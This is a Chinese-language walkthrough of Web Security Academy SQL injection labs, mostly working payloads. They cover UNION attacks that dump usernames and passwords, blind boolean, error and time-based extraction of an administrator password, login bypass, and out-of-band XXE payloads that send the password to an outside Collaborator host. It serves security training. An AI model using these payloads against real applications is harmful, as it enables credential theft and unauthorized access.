1. UNION attack, determining the number of columns returned by the query
union攻击,通过返回内容的差异确定表字段的数量;
联合查询的两个表的字段数和字段类型要相同;
在分类URL后面添加以下payload,并持续添加NULL,直到错误消失,该实验有3个字段
' UNION+SELECT+NULL--
' UNION+SELECT+NULL,NULL--
' UNION+SELECT+NULL,NULL,NULL--
https://ac101f471fe7c32680fb6ce4002400dc.web-security-academy.net/filter?category=Gifts%27%20UNION+SELECT+NULL,null,null--
2. UNION attack, finding a column containing text
union攻击,查找一个文本类型的字段
通过第一节的方法确定表有3个字段数;
依次把null换成字符串,确定哪个字段是字符类型;
' union select null,'a',null--3. UNION attack, retrieving data from other tables
union攻击,从其他表中检索数据
先确定有2个字段数;
2个字段都是字符型;
从users表中查询用户名和密码
'+UNION+SELECT+username,+password+FROM+users--4. UNION attack, retrieving multiple values in a single column
union攻击,通过一个字段检索出多个值
确定是2个字段数,而且只有第二个字段是字符型;
通过以下方式,一个字段返回了2个值;
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--5. querying the database type and version on Oracle
确定Oracle数据库类型以及版本号
Oracle数据库执行select语句时,必须指定一个表名;
Oracle数据库内置一个表,dual;
'+UNION+SELECT+'abc','def'+FROM+dual-- 查询成功,说明Oracle特有的内置表dual存在

'+UNION+SELECT+BANNER,+NULL+FROM+v$version-- 查询数据库版本号6. querying the database type and version on MySQL and Microsoft
确定MySQL和Microsoft数据库类型以及版本号
先确定2个字段数,并且都是字符型;
' union select null,null--+ 注意,mysql数据库注释后面加号代表有一个空格查询MySQL用户名和数据库版本号
' union select user(),@@version--+ 7. listing the database contents on non-Oracle databases
列出非Oracle数据库中的内容
确定字段数量以及哪个字段是字符型;
使用以下语句查询数据表名;
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
再查询user表的字段名
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
查询用户名和密码字段的内容
'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
8. listing the database contents on Oracle
列出Oracle数据库的内容
确定字段数量以及哪些字段是字符型;
列出数据库表名
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
列出user表的字段名
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_ABCDEF'--
查询用户名和密码字段的内容
'+UNION+SELECT+USERNAME_ABCDEF,+PASSWORD_ABCDEF+FROM+USERS_ABCDEF--
9. Blind SQL injection with conditional responses
根据条件返回的SQL盲注
使用burp拦截请求,cookie中有个参数:TrackingId=xyz,输入TrackingId=xyz' AND '1'='1时,会返回"Welcome back" ,输入输入TrackingId=xyz' AND '1'='2 时,"Welcome back" 没有返回,确定该参数可以SQL盲注
输入:TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a,如果为真,说明users表存在;
输入:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a,如果为真,说明存在用户名 administrator;
输入:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a,如果为真,说明密码长度大于1;
可以手工输入LENGTH(password)>2、LENGTH(password)>3 。。。也可以使用burp遍历,最终确定密码长度,实际上是20位;
确定密码长度后,就可以开始确定每个字符是什么,输入:TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a ,判断密码的第一个字符,如果为真,说明是a,如果不为真,依次进行判断,可以用burp的intruder模板进行爆破;
第一个字符确定后,再依次确定后面的字符:TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a,最终得到完整地密码。
10. Blind SQL injection with conditional errors
根据错误条件的SQL盲注
使用burp拦截请求,cookie中有个参数:TrackingId=xyz,输入TrackingId=xyz' 时,服务端返回500错误,输入输入TrackingId=xyz'' 时,返回正常,那么该参数可能存在SQL盲注;
因为返回的500错误是通用的错误,不能确定是SQL语法解析错误还是其他错误。为此构造SQL子查询,非Oracle数据库执行:TrackingId=xyz'||(SELECT '')||',Oracle数据库执行:TrackingId=xyz'||(SELECT '' FROM dual)||',如果没有报错,查询一个不存在的表:TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||',如果报错,则可以确定存在注入;
只要确保始终注入有效的SQL查询,就可以使用此错误响应推断数据库的关键信息。如:TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||' ,如果条件为真,说明存在users表;
还可以测试条件语句:TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||',因为when语句为真,执行to_char(1/0) 产生错误,所以返回错误信息;
输入:TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||',返回正确;
接下来很关键,逻辑比较绕,在SQL语句中以from分隔前后,SQL语句执行顺序是先执行from后面的
1. 真 from 真 ==> 真
2. 真 from 假 ==> 真
3. 假 from 真 ==> 假
4. 假 from 假 ==> 真
当构造SQL语句为1、2时,只要from前面条件为真,而from后面条件不管真假,SQL语句都不会报错,就无法进行SQL盲注;
当构造SQL语句为2、4时,只要from后面条件为假,而from前面条件不管真假,SQL语句都不会报错,就无法进行SQL盲注;
当构造SQL语句为3、4时,使from前的条件为永远为假,然后改变from后面的值,真的时候报错,假的时候不报错,这样来执行盲注。
基于上面的总结,测试administrator用户是否存在,如果存在,from后面语句为真,因为to_char导致错误为假,返回500;如果不存在,from后面语句为假,查询结果为空,返回200
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
确定密码长度,如果密码长度大于1,执行to_char(1/0),返回错误,根据之前的方法确定密码长度20位:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
确定密码具体内容,方法同上
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
11. Blind SQL injection with time delays
基于延时的SQL盲注
抓包,还是TrackingId参数;
TrackingId=x'||pg_sleep(10)-- 延时10秒
12. Blind SQL injection with time delays and information retrieval
基于延时的SQL盲注并且检索数据
抓包,还是TrackingId参数, 修改:TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--,观察返回延时10秒;
修改:TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--,观察返回没有延时,以此判断是boolean型注入;
判断用户名是否administrator,TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
确定密码长度,实际是20位,TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
确定密码字符,TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
注意使用burp intruder破解时,设置为单线程, "Maximum concurrent requests"
13. Blind SQL injection with out-of-band interaction
带外交互的SQL盲注
抓包,还是TrackingId参数
结合XXE攻击,其中EXTRACTVALUE()是对XML文档进行查询和修改的函数:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--14. Blind SQL injection with out-of-band data exfiltration
SQL盲注,通过带外交互获取数据
抓包,还是TrackingId参数
开启Burp Collaborator client
还是结合XXE攻击,将查询的结果作为子域名,向Burp Collaborator服务端发起请求。
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-COLLABORATOR-ID.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
15. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
通过where子句检索隐藏数据
正常分类是这样:category=Gifts,只返回3条商品
修改为:category=Gifts' or 1=1--,返回全部商品
16. SQL injection vulnerability allowing login bypass
通过SQL注入绕过登录
用户名输入:administrator'--,密码任意输入,即可登录




